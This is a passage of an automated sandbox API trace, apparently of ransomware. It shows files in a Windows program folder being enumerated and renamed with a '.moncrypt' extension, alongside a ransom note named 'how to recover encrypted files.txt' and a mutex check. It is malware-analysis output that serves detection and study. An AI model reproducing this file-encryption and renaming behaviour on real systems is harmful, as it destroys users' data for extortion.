cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.636] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.636] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Stacking\\1047x576black.pngc", lpUsedDefaultChar=0x0) returned 4 [0058.636] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0058.637] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0058.638] CloseHandle (hObject=0x18c) returned 1 [0058.638] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\я")) returned 1 [0058.639] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 0x54e280 [0058.639] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.639] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.639] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.639] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png", dwFileAttributes=0x20) returned 0 [0058.640] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.640] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png.moncrypt")) returned 0 [0058.640] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f71a8d6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f71a8d6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5396df3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0058.640] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.640] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.640] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.640] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.640] GlobalUnlock (hMem=0x44000c) returned 0 [0058.640] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.640] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.640] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.640] GlobalUnlock (hMem=0x44000c) returned 0 [0058.640] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.640] GlobalUnlock (hMem=0x440004) returned 0 [0058.640] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.641] CharLowerBuffW (in: lpsz="1047x576_91n92.png", cchLength=0x12 | out: lpsz="1047x576_91n92.png") returned 0x12 [0058.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png", cchWideChar=71, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png", lpUsedDefaultChar=0x0) returned 71 [0058.641] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Stacking\\1047x576_91n92.png", lpUsedDefaultChar=0x0) returned 4 [0058.642] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f71a8d6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f71a8d6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5396df3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 0x54e280 [0058.642] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.642] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.642] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.642] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png", dwFileAttributes=0x20) returned 0 [0058.642] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.642] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png.moncrypt")) returned 0 [0058.643] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x544241af, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0058.643] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.643] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.643] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.643] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.643] GlobalUnlock (hMem=0x440004) returned 0 [0058.643] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.643] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.643] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.643] GlobalUnlock (hMem=0x440004) returned 0 [0058.643] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.643] GlobalUnlock (hMem=0x44000c) returned 0 [0058.643] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.643] CharLowerBuffW (in: lpsz="15x15dot.png", cchLength=0xc | out: lpsz="15x15dot.png") returned 0xc [0058.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.644] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png", cchWideChar=65, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png", lpUsedDefaultChar=0x0) returned 65 [0058.644] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Stacking\\15x15dot.png", lpUsedDefaultChar=0x0) returned 4 [0058.644] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x544241af, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 0x54e280 [0058.644] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.644] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.644] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.645] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png", dwFileAttributes=0x20) returned 0 [0058.645] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.645] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png.moncrypt")) returned 0 [0058.645] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0058.645] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.645] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.645] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.645] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.645] GlobalUnlock (hMem=0x44000c) returned 0 [0058.645] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.646] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.646] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.646] GlobalUnlock (hMem=0x44000c) returned 0 [0058.646] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.646] GlobalUnlock (hMem=0x440004) returned 0 [0058.646] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.646] CharLowerBuffW (in: lpsz="720x480icongraphic.png", cchLength=0x16 | out: lpsz="720x480icongraphic.png") returned 0x16 [0058.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, 